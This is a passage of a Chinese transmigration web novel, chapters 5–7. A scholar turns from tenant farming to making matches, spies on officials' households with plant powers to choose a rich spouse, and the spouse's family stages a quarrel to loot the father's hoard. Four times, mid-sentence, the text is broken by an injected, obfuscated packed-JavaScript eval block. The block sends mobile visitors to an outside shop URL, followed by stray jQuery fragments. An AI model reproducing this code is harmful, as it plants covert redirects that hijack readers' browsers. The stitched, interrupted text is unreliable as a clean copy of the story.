什么,不佃了?
众人闻言,皆震惊看向韩璋,想知道他是不是疯了,竟然说出这样的鬼话。
不佃孙家的地,他们韩氏就靠自家那几亩薄田,不怕饿死吗?
“大郎……”
韩族长和韩爷爷也着急看过来。
以为他是少年意气,一时冲动忍不了委屈,才说出如此气话。
但韩璋很冷静,并非冲动信口开河。
他冲族里众人点头,“此事我心中有数,还请族长和族老们相信大郎。”
“这……”
韩氏众人迟疑,面露着急,不知该如何是好。
最后还是韩族长有魄力,咬牙拍板道:“好,听大郎的!”
这个时代族长的权利,是非常大的,韩族长开口支持,再加上韩璋的秀才身份,韩氏族人们就算担忧不解,也暂时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656340|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把嘴巴闭上了。
见此。
何管事有点笑不出来了。
他家老爷给韩氏涨佃租,是理所当然,但韩氏拒绝佃他家老爷的地,那就是不给面子,公然挑衅打脸。
何管事脸色有些不好道,“韩秀才,你可想清楚,我们家老爷的地,可不缺佃农,你们要是不佃,改明儿可就佃给别人,再拿不回来了。”
“管事儿您说了,我们韩氏全族与孙员外八字犯冲,孙老爷的地,咱们韩家佃不起。”
韩璋也没客气道。
为了给罗氏撑腰,孙员外都如此正大光明打压他们了,那韩氏也没必要给对方好脸色,因为就算他们卑躬屈膝,对方也不会放过他们。
“好,韩秀才有骨气,不愧是读书郎!”
既如此,何管事也不再多说,冷笑留下这句话,冷哼甩袖走人。
等对方离开。
村民和幸灾乐祸的罗氏众人散去。
里正叹口气,也不好说什么,只能愧疚对韩族长拱手道。
“韩老弟,你也莫怪老哥为难你们,实在是那孙家……咱们都惹不起。”
孙家在京城不算什么,但家中却是有当官的人,对于他们这些普通百姓来说,已经是庞然大物,足够以势压人了。
说罢,叹息着离开。
……
韩家。
族里的长辈们聚集,神色忧愁讨论刚才的事情。
韩爷爷替众人询问:“大郎,说说吧,你刚才不让族里继续租孙家的田,究竟有何打算?”
韩璋闻言也没有废话,直接解释。
“阿爷,孙家摆明了是要帮罗氏打压我们,既然他们都已经做到了这个份儿上,就算我们低头讨好,也没什么好日子。”
“与其被他们拿捏,还不如破而后立,寻找其它出路。”
韩族长担忧道:“可短时间内,我们有何出路?孙家可是有当官的人,而我们韩家全都是泥腿子,与其硬碰硬,与蚍蜉撼树有何区别?”
“别的不说,就说吃喝问题,没有了孙家的田,我们今年都过不去。”
其余族老点头赞同。
不是他们太过悲观,而是事实如此。
但韩璋却有主意。
韩璋道:“京城乃天子脚下,孙家就算想帮罗氏打压我们,也不敢做得太过分,罗郢能够攀附上孙家小姐,孙儿自然也能找一个好岳家。”
他是吃过生活苦的人,没那么多少年意气。
反正他现在没有喜欢的人,软饭而已,他不介意。
为了让家里人安心。
韩璋只能忽悠道:“族长,阿爷,你们放心,亲事我自己已经有眉目了,你们等着听好消息便是。”
“真的?那太好了。”
韩氏众人压根没有怀疑,全都露出惊喜之色。
韩爷爷担心道:“那田咋办?种不了田,咱吃啥喝啥。”
吃饱肚子比亲事更迫在眉睫。
而这个对韩璋来说最简单。
韩璋道:“阿爷,种不了地,咱们还能挣钱。我近日琢磨出一物,名为‘火柴’,拿出去绝对可以卖上好价钱,短时间解决族人吃喝的银钱问题。”
5. 第 5 章
火柴,是韩璋深思熟虑后,选择拿出来的现代小发明。
别看这东西不起眼,但在生活中作用却很大,操作好了很赚钱,很适合作为韩氏族人的一条营生道路。
并且比拿出香皂、玻璃这些东西安全!
因为火柴比较好仿制,不会因为配方技术太过特殊,而引来巨大祸端。
“火柴,就是和火镰、或是、还有火折子差不多的东西。但比起后者,火柴点燃更迅速,操作更简单,也更加耐潮湿,还有方便携带……”
“而且它的制作成本并不高,工艺比较容易被仿制,不会引来贵人的觊觎。”
“但也因为比较好仿制,所以,我们必须在前期囤积大量的货物,才能赚一大笔,至于后续这个生意还能不能做,就得看我能不能金榜题名,有个官职庇护家族了……”
韩璋简单跟大家解释了一遍火柴是什么东西。
以及怎么操作赚钱,和其中的风险等等。
虽然没有实物,但韩爷爷等人也算是见多识广了,听完他的大概叙述,很敏锐地就发现了火柴可能是个好东西。
韩族长很是激动:“大郎,你当真能做出这什么火柴?”
“族长爷爷,事关族人生存,岂能信口开河?”
韩璋继续道:“我大概计算过火柴的制作成本,1盒火柴30根,成本预估5文钱……我们可以把简单包装卖5-10文,精致包装10-30文,奢华包装50文以上。”
“不用怕卖不出去,这个价格普通百姓或许会犹豫,但对走商、酒楼、还有那些达官贵人来说,并不算什么。”
“毕竟火镰火石也不便宜,而且但凡稍微潮湿点的地方,就不好用了。”
“所以,我们的火柴,还是很有前景……”
赚大钱不好说,但赚个几百两,应该还是没问题。
有了这些银子,就算接下来没有田种,他们也能去城里买米粮生活,坚持到他找到一门好亲事当靠山,以及明年科举。
韩族长等人到底是见过大世面的,比寻常百姓想法更通透,胆子也更大。
众人越想越觉得这事儿可以干。
最后一番商议讨论。
韩族长决定道:“反正接下来没有田种,族里的年轻人都要去码头做苦力,不如尝试一把,就搞大郎说的这个火柴!”
至于失败了怎么办?
韩族长没说出来,因为有个词叫做一语成谶,还是要避谶为好。
总归不过就是再苦一点,又或者向罗氏和孙家低头,忍辱负重装孙子而已。
“好,既然大家都觉得没问题,那休沐这几日,我就写个章程计划出来,咱们在族里搞一个火柴作坊。”
韩璋也不是个啰嗦的人。
说干就开始干。
当天晚上,就熬夜把【火柴作坊】的展开计划,和章程制度给写了出来。
这对他来说并不难,末世前他自己开过公司,一个小作坊的运营操作,简直就是小学生难度。
而古代一个家族,只要族长和族老们愿意支持,那么人员调度方面,是非常轻松顺利的,因为古代宗族的凝聚力,现代人根本无法想象。
一声令下。
韩氏族里的人就开始忙碌起来。
负责筹钱的,负责寻找原材料的,负责学技术的,负责打杂干重活的……
老老少少全部都在韩璋的指挥下,有条不紊按照现代流水工作线干活。
当然,这一切行动都是悄悄进行的,免得罗氏知道了捣乱。
所以。
有村民瞧见他们进进出出搬运木材,询问:你们韩氏到底在干啥?不种孙家的田,咋不去城里找活计?不然年底吃啥喝啥?
韩族长就愁眉苦脸,叹气道。
“城里的活计,哪里是那么好找的,咱们不识字,只能去码头干苦力,时间长了,身体哪里受得住?”
“这不,咱族里老三的木匠手艺你们也知道,让小辈们把手艺学起来,要是以后真种不了田,做木匠也是个出路不是?”
村民们听罢欲言又止。
想说韩氏众人倔驴,这年头尊严哪有吃饭重要,低头就低头吧。
但转念想到罗氏那些人的市侩和霸道,韩氏若是低头,以后恐怕就得当狗了。
如此羞辱,不到绝境谁愿意接受?
于是。
村民们也只能露出同情的目光,然后走人。
至于帮忙是不可能帮忙的,大家就是街坊邻里而已,谁也不愿意自己招惹上麻烦,成为下一个被罗氏打压的人。
就这么忙忙碌碌几天。
等到休沐日结束。
韩家的火柴作坊,已经顺利走上正轨,就等制作囤积出大量的货物,找到合适的买家,一举卖出去赚钱。
而韩璋也必须返回书院上课了。
临行前,韩母和韩奶奶像往常那般,给他做了20个茶叶蛋,还有一双鞋。
“大郎,这是阿奶做的茶叶蛋,足足有20个呢,你带去书院和同窗们分着吃,咱们家虽然不是高门大户,但做人也不能太小气,好好和同窗们相处。”
“还有这双新鞋,读书人爱干净,你拿去换着穿,之前旧的就别穿了,当心被人笑话……”
韩奶奶和韩母殷殷叮嘱。
韩家其余人也都满怀关切,“大郎,你好好在书院读书,家里的活儿有人做,你莫要多操心。”
只有大郎把书读出来,考上科举做了官,他们韩家才不会继续被欺负。
他们累点苦点不要紧,只要大郎能出息就行。
“大兄,我们会好好在族里的作坊干活,到时候赚了银钱,还给你买笔墨!”
“大哥,我舍不得你,你要想我呀……”
家里几个小的更是恋恋不舍。
大兄每次回家,都会抽时辰教他们认字,给他们讲故事,他们舍不得大兄。
这番殷殷惜别的画面,让多年孤儿的韩璋很不适应。
但却很温暖,很喜欢。
他看看这群面黄肌肉,身着补丁衣裳的异世亲人,再看看自己虽不华贵,但也不便宜的棉布衣衫,还有健康饱满,没有茧子的掌心……
他想,他或许能够理解,原身为什么那般拼命的读书了。
沉默良久。
韩璋才露出轻松笑容,揉揉几个弟妹的脑袋道。
“阿爷阿奶,爹娘弟妹,叔叔婶婶,你们在家也要好好保重自己,我走了。”
说罢扶手抵额,弯腰作礼后。
便转身爬上驴车朝书院而去。
虽说这辈子多了亲人的羁绊,不如前世一个人自由自在。
但感觉……倒也还不错。
韩璋望着逐渐变小的家人们,向来笑意不进眼底的目光,难得有些许柔和。
……
原身在村里是名人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656341|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但在书院之中,就并不起眼了。
书院中像他这种寒门书生实在太多了,而向南书院更是京城比较好的书院,不优秀的寒门书生,压根进不去,原身在其中完全没有凸出优势。
所以,韩璋回到书院后,需要应酬的交际并不多。
但这正合他意!
他正好有时间,适应古代的学习环境、书籍,以及风俗人情。
还有思考骗……哦不,是追个白富美吃软饭的事情。
没错,韩璋打算学习罗秀才,用甜言蜜语哄个有钱有势的夫郎回家。
这真不能怪他没出息,他也是没办法了。
古代寒门想出头,实在太难了,而且现在罗氏和孙家还想打压韩氏,他若不尽快也找一门好亲事,接下来还不知道有多少麻烦上门。
吃软饭,必须吃软饭。
他脸皮厚,不介意!
再说了,别人想当小白脸,还没那个条件呢。
既然老天爷给了他一张帅脸,那他就不能浪费老天爷的心意,否则多不好意思,多遭天打雷劈啊。
老天爷:……
我不是,我没有,你个逆子少污蔑老子!
总之事不宜迟。
做好心理建设,韩璋就开始行动起来。
第一步,先调查京城到底有哪些未婚的官家哥儿!
这个简单,直接潜入那些官媒家里,查看她们手中的人员名单就行。
因为作为媒婆,尤其是官媒,记录高门大户家中姑娘哥儿的信息,是最基本的工作内容之一。
然后。
第二步,筛选年龄和岳父官职品级!
——哥儿年龄小于18岁的不要,未成年还没发育成熟呢,他下不了手;
——岳父官职高于四品的也不要;
因为岳父官职太高,人家肯定看不上他,他敢去勾搭人家姑娘哥儿,结果可能不是被成全,而是被打死。
他岳父的官职,最好在四、五品之间,不高不低;
接着。
第三步,筛选对象在家中的受宠程度!
——古代男人三妻四妾,后院孩子实在太多了。
岳父手中资源有限,如果不是受宠的儿女,岳父能帮助的资源,肯定少之又少。
继续。
第四步,筛选对象是否已经心有所属!
——小三不好当,墙角不好撬。
第五步,筛选对象学识和性格!
——学识太高的不好骗,因为读书明理。
——性格冷静理智,和心思敏感的不能要,前者不好哄,后者太麻烦。
第六步,筛选……
这些很多都是私密信息,一般人根本打听不到。
但韩璋不是一般人。
他拥有植物异能,可以操纵花草树木,作为监听工具,不着痕迹调查各府后院内宅的情况。
就这样,当了长达一个月的梁上君子,韩璋最终找出五个暂时符合条件的对象。
其中一个丧夫,没有孩子;
其中一个和离,也没孩子;
其中两个同样和离,但与前夫有孩子;
最后一个倒是未婚,就是名声十分差,听说还会挥鞭子打人,特别暴力。
韩璋:……
算了,都吃软饭了,哪能要求那么高。
做人不能既要又要。
他可以,他肯定可以!
6. 第 6 章
韩璋筛选出来的人,为什么其中有4个都是成过亲的?
原因很简单,因为古人成亲早啊!
这个时代的姑娘哥儿,基本十三四岁就开始物色亲事对象,更早还有十一二岁就开始相看的。
18岁还没有定下亲事,要么是有特殊事情耽误,比如孝期、退婚;
要么就是姑娘哥儿的性格、身体、名声等方面,有严重缺陷;
所以,按照韩璋的年龄要求,剩下大部分是和离丧夫的,才是正常情况。
韩璋并不介意娶和离的哥儿。
他来自现代,又经历过末世,对此接受度很高。
既然决定吃软饭,那金主老婆有点瑕疵,也是应该的。
但是,和前夫有孩子的这种也不行。
倒不是贬低嫌弃,只因为做父母的人,大多都有爱子之心,将来容易偏心,他需要的是一个对自己全心全意的夫郎。
因为他成亲就是奔着利益去的,自然要选利益最大化。
如此。
最后就剩一个丧夫、一个和离、以及一个未婚但名声不好的哥儿。
到这里就可以进行最后的步骤了。
那就是,看长相!
虽然为了吃软饭,很多事情韩璋都可以忍,但到底是要一起生活大半辈子的伴侣,他还是想选个长相符合审美的。
毕竟他这个人还是比较有原则,没打算上岸第一剑,就斩糟糠妻。
“很好,就在这三个里面选了!”
于是。
韩璋就又跑去翻墙了。
他选的都是四五品小官员,家中防守有限,他有末世练就的身手,还有植物异能做掩护,潜入这些府邸真的太轻松不过。
第一个,四品大理寺少卿家的嫡出哥儿,因丧夫归家。
——性格很温柔,擅长管家理事,孝顺公婆,但长相只是清秀……待定。
第二个,通政副使的庶出哥儿,因和离归家。
——长得倒是非常漂亮,不仅擅长管家理事,还能歌善舞,是个红袖添香的美人,可惜人家也比较现实,人家也想攀高枝……没戏。
第三个,五品礼部郎中家的嫡出哥儿,现今未婚。
性格单纯,贪吃贪玩。
现今未婚的原因,是因为后宅争斗,被家中的兄弟姐妹背刺,连番抢走已经定亲的未婚夫,才耽搁了亲事。
人品也没有太大的瑕疵,就是脾气火爆,说不过就容易挥鞭子干架,还喜欢哭唧唧,是个活泼娇气的小哭包。
典型好哄又好骗的笨蛋美人。
最重要的是……这哥儿长得真是太好看了。
眉目如画,风姿特秀。
完全就在韩璋的审美点上。
“很好,沈清澜,就你了!”
韩璋不再多想,直接美滋滋拍板决定人选。
有钱又有颜的漂亮老婆,真是太棒了。
……
而与此同时。
京城。
五品礼部郎中沈府。
沈清澜也正因自己的婚事再次被抢,拿着鞭子在府中一边追着人打,一边哭闹发脾气。
“沈清泉,你怎么能够做出这种事情?二房三房那俩庶出勾引我未婚夫就算了,我们本就是仇敌,但你我可是同胞的亲兄弟,你竟也跑来抢我的亲事……”
“呜呜,接连三门亲事告吹,如今我都成整个京城的笑话了,沈清泉,我没有你这个弟弟!”
是的,沈清澜的名声差,耽搁到18岁还没有成亲,除了他脾气不好外,就是因为他定下的三门亲事,都被家中的兄弟姐妹勾引未婚夫抢走了。
一次两次别人同情,但三次,外面就难免怀疑他有什么问题。
否则好好的哥儿,哪能被如此嫌弃?
然而现实就是,沈清澜真的很冤枉!
再优秀的姑娘哥儿,也挡不住男人花心,家中的庶弟庶妹长相虽不如他,但性格比他温柔,从小跟着妾室姨娘学习怎么哄男人,还能放下骨气伏低做小。
他前两任未婚夫浅薄好色,结果可想而知。
而第三任未婚夫,倒是真的喜欢他,当初对他一见钟情,不顾名声与他定亲。
可惜!
第三任未婚夫是个多情怜弱的。
对方喜欢他没错,但也怜惜他的同胞亲弟弟,最终竟想以平妻之礼,把他们兄弟二人都娶回去。
这委屈,骄傲如沈清澜,如何能接受?
自然当场拒绝。
三门亲事接连告吹,如今沈清澜在京城算是“出名”了。
他怎能不生气委屈?
而被追着抽鞭子的沈清泉也同样难堪不服气。
“二哥哥,坏了你的亲事,是我有错,但如今事情闹成这个样子,二哥哥怎能全怪我?”
“你都连着被退两门亲事了,这次就不该再拒绝世子的平妻之位,还冲动把事情闹大,让我们沈府成了京城的笑话……”
他承认,他是对晋阳伯府世子有些小心思。
毕竟伯府世子不仅身份尊贵,还相貌温文尔雅,性格随和温柔,是京城大半姑娘哥儿都倾慕的对象,他也不例外。
但他真没想过抢亲哥哥的未婚夫,只想把心思埋起来。
结果谁知道,世子竟也对他有意……他一时情不自禁,就与对方好上了,事后也是后悔万分,对兄长愧疚不已。
可二哥哥实在太蠢了。
若非二哥哥不顾大全,冲动大吵大闹,事情怎会变成如此难堪的处境?
想到这里。
沈清泉看向沈夫人也有些怨念,“母亲,你就这般看着二哥哥打我是吗?从小到大,你就偏心二哥哥。”
“泉哥儿,你怎能如此说母亲……”
沈夫人被儿子怨念很是难过。
沈老爷则呵斥道。
“够了澜哥儿,你还要闹到什么时候?泉哥儿说得对,若非你蠢笨,事情怎么变成这样,家丑不可外扬,有什么委屈不能关起门说,你非得闹出去让人看笑话。”
“如今好了,你的亲事又毁了,泉哥儿名声也受到影响,全府的名声都没了,你还好意思发脾气……”
一声声都是指责,沈老爷对丑闻外扬之事,真的很不满。
沈夫人更心疼儿子,不由帮忙说话:“老爷,你别说了,澜哥儿接连遭遇这种事,他怎能不委屈。”
“一荣俱荣一损俱损,他委屈就能不顾家中名声了?慈母多败儿,你看看他什么样子,好好的哥儿整天挥鞭子,就算没有退亲之事,他怕是也嫁不出去!”
沈老爷生气不已,没忍住口不择言说出重话。
然后说完,他就后悔了。
他并不是真的偏心庶子庶女和五哥儿,只是三门亲事都涉及他的前程,前程和澜哥儿他自然选前者。
但他对澜哥儿这个嫡出哥儿也还是喜欢的,也不想太伤对方的心。
不过。
沈清澜已经伤心地眼泪唰唰掉了下来,“父亲……”
就在这时。
与沈清澜关系最好的二哥,沈怀智终于赶了过来。
“父亲真是好笑,每次荣的都是你们,损的都是澜哥儿!”
“之前两门亲事,澜哥儿已经忍气吞声,现在第三次,换谁还忍得下去?”
“父亲有本事,就去找晋阳世子算账,咱们家丑事能传出去,还不是他非要享齐人之福,娶什么一家子兄弟平妻,搁谁看不出其中的笑话?”
沈怀智边说边把弟弟护在身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656342|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后。
终于有人全心全意站在自己这边,沈清澜不由更委屈大哭:“呜呜,二哥,他们都欺负我……”
兄弟两人关系最好。
沈怀智心疼安慰:“别怕,二哥保护你。”
说完,不等沈清澜开心。
沈老爷就没好气道:“你保护他?就你这个连《三字经》都还背不顺溜,只知道玩蛐蛐,斗公鸡的纨绔,连自己都管不明白,咋好意思说出这种话?”
他和夫人总共5个嫡出的孩子。
其中两个儿子,两个哥儿,一个女儿。
长子长女和幼哥儿都是聪明伶俐,知书达理的。
唯独二儿子和二哥儿,就跟基因突变似的,一个是读书就头痛的纨绔子,一个是漂亮却不长脑子的泼辣哥儿。
偏偏这俩关系还最好,凑在一起就是俩魔童。
果不其然。
沈怀智被骂了,还不以为耻,反以为荣道。
“我纨绔怎么了?我虽然纨绔,但我讲道理,我分是非,我不宠妾灭妻,我还疼爱弟弟,不会卖弟求荣,我可真是太优秀了!”
被指桑骂槐的沈老爷:……
沈清澜一边抽泣,一边点头赞同:“就是,二哥最好了,比爹你好十倍。”
沈怀智又道:“反正这事儿,爹娘你们拿出个章程,看怎么补偿二弟弟,若是澜哥儿不满意,咱就把这家掀了。”
沈清澜继续附和:“二哥说得对,这回要是不让我满意,我大不了不嫁了,把沈家闹得天翻地覆,再庙里青灯古佛去,总归我这辈子,就这样了!”
兄弟俩一副死猪不怕开水烫的模样。
沈老爷气得很。
沈夫人在旁边抹眼泪劝说:“老爷,大局为重,大局为重。”
光脚不怕穿鞋的。
沈老爷最后没办法的,只能气闷问:“你们想要怎样补偿?”
“除了按照之前的规矩,把泉哥儿的嫁妆分我一半外,父亲你还要单独补偿我1万两银票,不许用大库房的,得从你私库拿。”
沈清澜道。
沈老爷想了想,虽然这个补偿自己要肉疼,但确实也不算过分。
“行,把银票收了,这事儿就过去了,以后不许再闹事。”
沈清泉有些心疼自己被分走的嫁妆,但也不敢再开口说什么,毕竟他破坏了兄长的亲事是事实,脚跟实在有些站不稳。
沈清澜又道:“还没完呢!既然爹你不愿为我做主,那日后我的亲事,你不许再插手,我要自个儿决定。”
“不行。”沈老爷想也不想拒绝。
婚姻大事哪能由小哥儿自己做主。
沈清澜冷哼:“爹不愿意,可以,那就我就不活了,现在就闹得咱们沈府名声尽毁!省得你再眼瞎给我选一个歪瓜裂枣。”
沈老爷:“……”
眼神儿不好的沈老爷没办法,最后只能叹气认栽。
“好好好,你的亲事以后你自己做主,我不管了。”
就这样。
事情到此为止。
沈清澜这才满意消停下来。
沈老爷终于松口气,头疼挥手警告周围奴仆。
“都散了,今日府中的事情,谁敢传出去半个字,休怪老爷无情,把他全家都发卖了去!”
“是老爷。”
奴仆们诚惶诚恐跪地。
见此。
沈老爷这才走人,吩咐心腹去私库拿银票。
压根没注意到旁边正在抹眼泪的沈夫人,也给身边嬷嬷使了个眼色。
于是。
当天晚上。
沈老爷小心藏匿多年的小金库,就被早有准备的沈夫人、沈怀智、沈清澜母子三人找到,给悄悄洗劫一空!
7. 第 7 章
没错,之前那场闹剧,就是沈夫人母子三人演的。
他们这样做,没别的原因,就是为了找到沈老爷的私房钱,防止对方私下贴补抢了沈清澜亲事的庶子庶女和沈清泉。
因为顾全大局,也为了继续和三个女婿结亲,沈父对三个抢亲事的儿女惩罚并不重,只是让三人分出一半嫁妆,赔给沈清澜作为补偿而已。
如此结果,受害者沈清澜不服气!
疼爱儿子的沈夫人,和疼爱弟弟的沈怀智,也是满心不忿!
这算惩罚?
只要沈父有心,私下完全可以重新贴补三个孩子,这惩罚就跟没惩罚似的。
所以,母子三人商议后,便有了这番闹剧。
借机把沈父的小金库位置诈出来,然后再给对方搬得干干净净,看对方还拿什么偏心!
夜晚。
澜蔚苑中。
母子三人相聚。
沈夫人眼眶湿润握着沈清澜的手,声音哽咽说着心里话。
“澜哥儿,亲事的事情,母亲知道让你委屈了,母亲也恨不得打杀了那些欺负你的人!”
“可事关沈府未来,母亲一个人也做不得主,只能让你把委屈咽下去。”
“不过你放心,母亲不会让她们好过的,她们就算抢了亲事,也别想安生舒坦的嫁过去,丰厚嫁妆想都别想。”
“至于泉哥儿……罢了,他和你们大哥一样,都有主意得很,都向着你们父亲和祖母,觉得我这个母亲没用,以后,我也便不再管他了,随他去。”
沈夫人总共生了5个孩子,早年对每个孩子也都是悉心教导。
但结果并非每个孩子,都与她这个母亲亲近。
长子和五哥儿,性格像极了丈夫,自私自利,冷心冷情,心里也向着父亲,对她这个母亲并不亲近;
长女、次子、和二哥儿倒是与她非常亲近,母子情深。
可惜长女出嫁早不在身边;
次子纨绔不上进;
二哥儿更是无甚心机,还倒霉亲事接连波折,眼瞧着将来人生灰暗无比……
沈夫人心里真的是难过又伤心,只能竭尽全力为孩子打算。
沈清澜虽然没有家中其它兄弟姐妹聪明,但也不是真的愚蠢无知。
他也抱住母亲,红着眼眶安慰。
“娘,五弟弟也是您亲生的哥儿,我知道您也为难,您不必如此,我虽然无法原谅他,但我倒也不是那么恨他。”
“这件事,终究还是因为晋阳世子见异思迁,他若真心喜欢我,就算传说中的狐狸精来了,定然也是勾引不走他的。”
“如今他对五弟弟生情,还妄想享齐人之福,简直无耻之极。”
“这样的男人,现在五弟弟把他抢走,我该庆幸才是,免得将来成亲后,他再告诉我,他看上了小姨夫,那我才要哭死呢……”
这话虽然有些自我安慰的成分,但沈清澜也的确是这么想的。
他宁愿嫁不出去,也不想嫁给这样的人。
沈夫人心疼道:“可接连三次亲事换人,外面的人还不知道怎么说你。”
沈怀智也气道:“外面那些人也是,咸吃萝卜淡操心,整天说人是非,管别人家的家事,真是不知所谓的碎嘴子……”
说到底,这种事吃亏的还是澜哥儿!
可事已至此。
沈清澜也只能努力挤出笑容,故作语气洒脱道。
“外面那些人说就说呗,我才不在意。晋阳世子他们嫌弃我不够温柔小意,我也瞧不上他们呢!”
“娘,咱们不是说好了吗?我长得这般花容月貌,等过几个月宫里选秀,我就进宫给陛下当妃嫔去。”
“到时候生个小皇子,作为皇子的母父,看谁还敢笑话我!”
是的,进宫当妃嫔。
这是母子三人想出来的策略。
以沈清澜现在的名声,恐怕是很难再找到什么好亲事了。
但进宫给皇帝当小妾不同。
沈清澜名声虽有瑕疵,可他长得漂亮啊。
还是非常非常漂亮的那种!
老皇帝近几年很是爱好美色,后宫连寡妇妃嫔都有,虽然澜哥儿活泼过了头,但以澜哥儿的容貌,应该,或许,还是……很有机会入选吧?
而且当今皇帝老是老了点,但这才是优势!
此时,宫里高位妃嫔已经地位稳固,皇子也成年进入朝堂瓜分势力,澜哥儿这个刚进宫的新人,就算生下儿子,也不会被放在眼里。
等过些年老皇帝驾崩,新帝登基为表现仁善,年幼的弟弟就是最好施恩的对象。
届时,只要不作死,澜哥儿下半辈子还是很好过的。
沈怀智也很是赞同点头。
“澜哥儿进宫给陛下当妃嫔确实不错,皇帝的小妾可比好些普通官员的正妻还威风,唯一的缺点就是皇帝陛下老了些,委屈我如花似玉的弟弟了。”
沈清澜也很介意这点,他也喜欢年轻英俊的夫君。
但他倒霉,现在也只能将就了。
沈清澜恹恹道:“没关系二哥,到时候侍寝,我闭上眼睛就行。”
兄弟俩显然对老皇帝嫌弃得很。
沈夫人:……
她当初生这俩娃,是不是把他们脑门夹了,连皇帝都敢嫌弃!
“行了,你们俩兄弟当自己是谁,连陛下都敢编排!澜哥儿能伺候陛下,那是他的福气,以后不许再说这些话。”
沈夫人赶忙头疼教训。
“知道了娘。”
兄弟俩乖乖点头。
他们也不是真不知轻重的人,就是情绪上头,一时嘴瓢了。
但经过这般调侃,大家心情也好了很多。
沈清澜是个乐观开朗的,他兴致勃勃关心另一个问题。
“对了娘,这回咱们到底从爹的私库,搬了多少好东西出来啊?”
沈怀智也激动道:“娘,咱可说好了的,澜哥儿分七成,你分两成,我分一成,你可不能说话不算数!”
“行了,看你那着急样,少不了你的。”
沈夫人不屑道:“就你们爹那个狗东西能攒多少钱?他胆子小得跟老鼠一样,当了这么多年的官,私库也就10万两银票,8箱金银珠宝。”
“这两年他都敢跟我大小声儿了,我还当他多么出息,结果就这么点,真是没用得很,还不如娘这些年两间嫁妆铺子赚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656343|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得多。”
沈父私房钱其实已经不少了,毕竟平时还要养一大家子。
但架不住沈母是商户出身,还特别擅长经商,嫁妆金山银山富裕得很,自然瞧不起沈父这点私房。
沈清澜和沈怀智闻言,连忙拍马屁。
“娘,您可是京城主母中,出了名的钱篓子,父亲哪能跟您比?蚊子腿再小也是肉,总比便宜了府中其他人强!”
“就你俩嘴抹了蜜,会哄人得很……行了,别整日哄母亲,放心,以后母亲的东西,就分给你俩和你们大姐。”
沈夫人听得高兴,承诺道。
至于长子和五哥儿……
虽说母爱无私,但人心都是肉长的,还是要真心换真心。
这俩孩子从小到大,处处都向着丈夫和婆婆,无论对错从来没有站在她这个母亲身边过,还总觉得她不公平。
既如此,她现在就真偏心,还要比老爷更偏心!
哪怕大姐儿,澜哥儿,还有老二将来没出息,她也偏心这三个孩子。
“娘,您真好……”
沈清澜和沈怀智兄弟俩感动不已,像小时候般伏在母亲膝上。
沈夫人也轻抚着两人的脑袋,眼中满满都是慈爱。
母子三人气氛一片温馨。
至于等沈老爷发现自己的私房钱没了,生气找上门咋办?
没证据,死不承认就好。
老爷除了骂几句,还能把妻儿打杀了不成?
反正沈夫人觉得自己年纪大了,这辈子已经活够了;
沈怀智知道自己没读书天赋,努力也是白努力,那就不努力了,他有娘给的银钱吃喝纨绔,用不着爹的帮助;
沈清澜也已经做好进宫当妃嫔,不用再靠沈老爷这个爹找亲事了;
所以,老爷生气就生气呗。
无所谓!
母子仨心态超级好,直接摆烂走起。
……
另一边。
韩璋还不知道自己看中的小夫郎,竟然有进宫当宠妃的鸿鹄大志。
因为他的异能,虽然可以操作花草树木作为探听工具,但也是有限制的。
除非是他从种子时期,就自己培育出来的花草,可以长期成为他的“眼睛耳朵”外,其余野生的植物,都只能暂时被控制而已。
所以,他也无法时时刻刻,都盯着别人的一举一动。
但这并不影响他吃软饭的计划。
正所谓高端的猎人,往往都是以猎物的方式出现。
韩璋深觉有道理。
他才不会像罗秀才那般愚蠢,吃软饭吃得那么明显,让所有人都知道他是故意哄骗孙家小姐,虽现在得到岳父帮助,但将来迟早被忌惮防备。
他韩璋可是个清清白白,端方守礼的‘正人君子’!
仔细思考后。
韩璋把吃软饭这个事情,当成了公司项目来做。
专门花了数天时间把金主对象,也就是沈清澜的性格特点,生活习惯,个人喜好,审美偏向……等等方面研究透彻。
